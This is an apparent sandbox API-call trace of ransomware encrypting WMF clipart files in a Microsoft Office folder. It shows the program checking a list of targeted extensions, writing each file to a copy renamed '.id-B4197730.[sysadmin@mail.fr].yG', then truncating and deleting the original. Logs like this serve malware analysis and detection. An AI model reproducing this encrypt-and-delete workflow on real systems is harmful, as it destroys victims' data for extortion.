	[0165.845] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.845] lstrlenW (lpString=".xlsx") returned 5
	[0165.845] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0165.845] lstrlenW (lpString=".ppt") returned 4
	[0165.845] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0165.845] lstrlenW (lpString=".zip") returned 4
	[0165.845] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.845] lstrlenW (lpString=".rar") returned 4
	[0165.845] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.845] lstrlenW (lpString=".bz2") returned 4
	[0165.845] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.845] lstrlenW (lpString=".7z") returned 3
	[0165.845] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0165.845] lstrlenW (lpString=".dbf") returned 4
	[0165.845] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0165.845] lstrlenW (lpString=".1cd") returned 4
	[0165.845] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0165.845] lstrlenW (lpString=".jpg") returned 4
	[0165.845] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.846] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=6568) returned 1
	[0165.846] CloseHandle (hObject=0x554) returned 1
	[0165.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf")) returned 0x220
	[0165.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0165.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0165.847] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.847] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0165.848] GetLastError () returned 0x0
	[0165.848] ReadFile (in: hFile=0x554, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x19a8, lpOverlapped=0x0) returned 1
	[0165.855] WriteFile (in: hFile=0x360, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x19b0, lpOverlapped=0x0) returned 1
	[0165.856] ReadFile (in: hFile=0x554, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.856] WriteFile (in: hFile=0x360, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.857] SetEndOfFile (hFile=0x360) returned 1
	[0165.857] CloseHandle (hObject=0x360) returned 1
	[0165.857] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.857] SetEndOfFile (hFile=0x554) returned 1
	[0165.860] CloseHandle (hObject=0x554) returned 1
	[0165.860] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0165.861] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf")) returned 1
	[0165.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0165.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0165.861] lstrlenW (lpString=".doc") returned 4
	[0165.861] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.862] lstrlenW (lpString=".docx") returned 5
	[0165.862] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0165.862] lstrlenW (lpString=".pdf") returned 4
	[0165.862] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.862] lstrlenW (lpString=".xls") returned 4
	[0165.862] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.862] lstrlenW (lpString=".xlsx") returned 5
	[0165.862] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0165.862] lstrlenW (lpString=".ppt") returned 4
	[0165.862] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0165.862] lstrlenW (lpString=".zip") returned 4
	[0165.862] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.862] lstrlenW (lpString=".rar") returned 4
	[0165.862] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.862] lstrlenW (lpString=".bz2") returned 4
	[0165.862] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.862] lstrlenW (lpString=".7z") returned 3
	[0165.862] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0165.862] lstrlenW (lpString=".dbf") returned 4
	[0165.862] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0165.862] lstrlenW (lpString=".1cd") returned 4
	[0165.862] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0165.863] lstrlenW (lpString=".jpg") returned 4
	[0165.863] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.863] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=15832) returned 1
	[0165.863] CloseHandle (hObject=0x554) returned 1
	[0165.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf")) returned 0x220
	[0165.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0165.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0166.146] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.146] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0166.207] GetLastError () returned 0x0
	[0166.207] ReadFile (in: hFile=0x550, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x3dd8, lpOverlapped=0x0) returned 1
	[0166.212] WriteFile (in: hFile=0x38c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x3de0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x3de0, lpOverlapped=0x0) returned 1
	[0166.213] ReadFile (in: hFile=0x550, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.213] WriteFile (in: hFile=0x38c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.213] SetEndOfFile (hFile=0x38c) returned 1
	[0166.213] CloseHandle (hObject=0x38c) returned 1
	[0166.214] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.214] SetEndOfFile (hFile=0x550) returned 1
	[0166.219] CloseHandle (hObject=0x550) returned 1
	[0166.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0166.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf")) returned 1
	[0166.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0166.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0166.222] lstrlenW (lpString=".doc") returned 4
	[0166.222] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0166.222] lstrlenW (lpString=".docx") returned 5
	[0166.222] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0166.222] lstrlenW (lpString=".pdf") returned 4
	[0166.222] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0166.222] lstrlenW (lpString=".xls") returned 4
	[0166.222] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0166.222] lstrlenW (lpString=".xlsx") returned 5
	[0166.222] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0166.222] lstrlenW (lpString=".ppt") returned 4
	[0166.222] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0166.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0166.222] lstrlenW (lpString=".zip") returned 4
	[0166.222] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0166.222] lstrlenW (lpString=".rar") returned 4
	[0166.222] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0166.222] lstrlenW (lpString=".bz2") returned 4
	[0166.222] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0166.222] lstrlenW (lpString=".7z") returned 3
	[0166.222] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0166.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0166.222] lstrlenW (lpString=".dbf") returned 4
	[0166.222] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0166.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0166.222] lstrlenW (lpString=".1cd") returned 4
	[0166.222] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0166.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0166.223] lstrlenW (lpString=".jpg") returned 4
	[0166.223] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0166.223] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=11584) returned 1
	[0166.223] CloseHandle (hObject=0x550) returned 1
	[0166.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf")) returned 0x220
	[0166.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0166.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0166.224] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.225] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0166.225] GetLastError () returned 0x0
	[0166.225] ReadFile (in: hFile=0x550, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x2d40, lpOverlapped=0x0) returned 1
	[0166.244] WriteFile (in: hFile=0x38c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0166.245] ReadFile (in: hFile=0x550, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.245] WriteFile (in: hFile=0x38c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.245] SetEndOfFile (hFile=0x38c) returned 1
	[0166.245] CloseHandle (hObject=0x38c) returned 1
	[0166.245] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.245] SetEndOfFile (hFile=0x550) returned 1
	[0166.248] CloseHandle (hObject=0x550) returned 1
	[0166.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0166.249] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf")) returned 1
	[0166.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0166.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0166.250] lstrlenW (lpString=".doc") returned 4
	[0166.250] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0166.250] lstrlenW (lpString=".docx") returned 5
	[0166.250] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0166.250] lstrlenW (lpString=".pdf") returned 4
	[0166.250] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0166.250] lstrlenW (lpString=".xls") returned 4
	[0166.250] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0166.250] lstrlenW (lpString=".xlsx") returned 5
	[0166.251] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0166.251] lstrlenW (lpString=".ppt") returned 4
	[0166.251] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0166.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0166.251] lstrlenW (lpString=".zip") returned 4
	[0166.251] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0166.251] lstrlenW (lpString=".rar") returned 4
	[0166.251] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0166.251] lstrlenW (lpString=".bz2") returned 4
	[0166.251] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0166.251] lstrlenW (lpString=".7z") returned 3
	[0166.251] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0166.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0166.251] lstrlenW (lpString=".dbf") returned 4
	[0166.251] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0166.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0166.251] lstrlenW (lpString=".1cd") returned 4
	[0166.251] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0166.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0166.251] lstrlenW (lpString=".jpg") returned 4
	[0166.251] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0166.252] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=8860) returned 1
	[0166.252] CloseHandle (hObject=0x550) returned 1
	[0166.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf")) returned 0x220
	[0166.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0166.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0166.253] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.254] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0166.255] GetLastError () returned 0x0
	[0166.255] ReadFile (in: hFile=0x550, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x229c, lpOverlapped=0x0) returned 1
	[0166.261] WriteFile (in: hFile=0x38c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x22a0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x22a0, lpOverlapped=0x0) returned 1
	[0166.263] ReadFile (in: hFile=0x550, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.263] WriteFile (in: hFile=0x38c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.263] SetEndOfFile (hFile=0x38c) returned 1
	[0166.263] CloseHandle (hObject=0x38c) returned 1
	[0166.263] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.263] SetEndOfFile (hFile=0x550) returned 1
	[0166.414] CloseHandle (hObject=0x550) returned 1
	[0166.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0166.514] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf")) returned 1
	[0166.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0166.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0166.828] lstrlenW (lpString=".doc") returned 4
	[0166.828] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0166.829] lstrlenW (lpString=".docx") returned 5
	[0166.829] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0166.829] lstrlenW (lpString=".pdf") returned 4
	[0166.829] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0166.829] lstrlenW (lpString=".xls") returned 4
	[0166.829] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0166.829] lstrlenW (lpString=".xlsx") returned 5
	[0166.829] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0166.829] lstrlenW (lpString=".ppt") returned 4
	[0166.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0166.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0166.871] lstrlenW (lpString=".zip") returned 4
	[0166.871] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0166.871] lstrlenW (lpString=".rar") returned 4
	[0166.871] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0166.871] lstrlenW (lpString=".bz2") returned 4
	[0166.871] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0166.872] lstrlenW (lpString=".7z") returned 3
	[0166.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0166.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0166.872] lstrlenW (lpString=".dbf") returned 4
	[0166.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0166.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0166.872] lstrlenW (lpString=".1cd") returned 4
	[0166.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0166.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0166.872] lstrlenW (lpString=".jpg") returned 4
	[0166.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0166.873] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.873] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0166.874] GetLastError () returned 0x0
